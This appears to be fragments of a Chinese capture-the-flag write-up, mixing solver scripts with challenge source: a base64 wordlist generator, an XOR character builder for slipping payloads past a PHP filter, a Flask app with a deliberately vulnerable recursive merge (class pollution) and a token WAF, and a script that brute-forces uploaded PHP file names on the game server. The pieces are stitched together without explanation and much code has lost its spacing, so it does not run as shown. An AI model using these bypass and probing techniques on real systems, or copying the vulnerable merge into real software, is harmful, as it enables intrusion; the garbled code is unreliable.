for byte1 in range(1,101): s='wanbao'+base64.b64encode(str(byte1).encode('utf-8')).decode('utf-8')+'wanbao' hex_representation = f"'{s}'" hex_dict.append(hex_representation)
with open("session_key.txt", "w") as file: for item in hex_dict: file.write(f"{item}\n")
for char in payload: for i in strlist: for j in strlist: if(i ^ j == ord(char)): i = '%{:0>2}'.format(hex(i)[2:]) j = '%{:0>2}'.format(hex(j)[2:]) print("('{0}'^'{1}')".format(i,j),end=".")#两个url字符进行的异或，虽然带有数字，但传参进去的时候已经变成特殊字符了 break else: continue break
registered_users=[] @app.route('/') defhello_world(): # put application's code here return render_template("welcome.html")
@app.route('/play') defplay(): username=session.get('username') if username: return render_template('index.html',name=username) else: return redirect(url_for('login'))
@app.route('/login',methods=['GET','POST']) deflogin(): if request.method == 'POST': username=request.form.get('username') password=request.form.get('password') user = next((user for user in registered_users if user.username == username and user.password == password), None) if user: session['username'] = user.username session['password']=user.password return redirect(url_for('play')) else: return"Invalid login" return redirect(url_for('play')) return render_template("login.html")
@app.route('/register',methods=['GET','POST']) defregister(): if request.method == 'POST': try: if waf(request.data): return"fuck payload!Hacker!!!" data=json.loads(request.data) if"username"notin data or"password"notin data: return"连用户名密码都没有你注册啥呢" user=hhh() merge(data,user) registered_users.append(user) except Exception as e: return"泰酷辣,没有注册成功捏" return redirect(url_for('login')) else: return render_template("register.html")
@app.route('/flag',methods=['GET']) defflag(): user = next((user for user in registered_users if user.username ==session['username'] and user.password == session['password']), None) if user: if user.isvip: data=request.args.get('num') if data: if'0'notin data and data != "123456789"andint(data) == 123456789andlen(data) <=10: flag = os.environ.get('geek_flag') return render_template('flag.html',flag=flag) else: return"你的数字不对哦!" else: return"I need a num!!!" else: return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>') else: return"先登录去"
defmerge(src, dst)://原型链污染 for k, v in src.items(): ifhasattr(dst, '__getitem__'): if dst.get(k) andtype(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elifhasattr(dst, k) andtype(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
if __name__ == '__main__': app.run(host="0.0.0.0",port="8888")
<inputtype="submit"value="注册"> </form> <script> document.getElementById('registrationForm').addEventListener('submit', function(event) { event.preventDefault(); // Prevent the form from submitting normally
var username = document.getElementById('username').value; var password = document.getElementById('password').value;
var formData = { username: username, password: password };
var formDataJSON = JSON.stringify(formData);
fetch('/register', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: formDataJSON }).then(response => { // Handle the response from the server as needed if (response.ok) { // Registration successful, redirect to login page window.location.href = '/login'; // Change to your actual login page URL } else { console.log('Registration failed'); } }).catch(error => { console.error('Registration error:', error); }); }); </script> </body>
import requests import time url1="http://c6tbksa38l0vybgg88486rhgf.node.game.sycsec.com/upload/{}.php"//注意不要用https访问，不然报错 withopen('name.txt','r') as f: lines=f.readlines() for line in lines: time.sleep(2) line=line.replace('\n','') url=url1.format(line) response=requests.get(url) if response.status_code==200: print(url) break
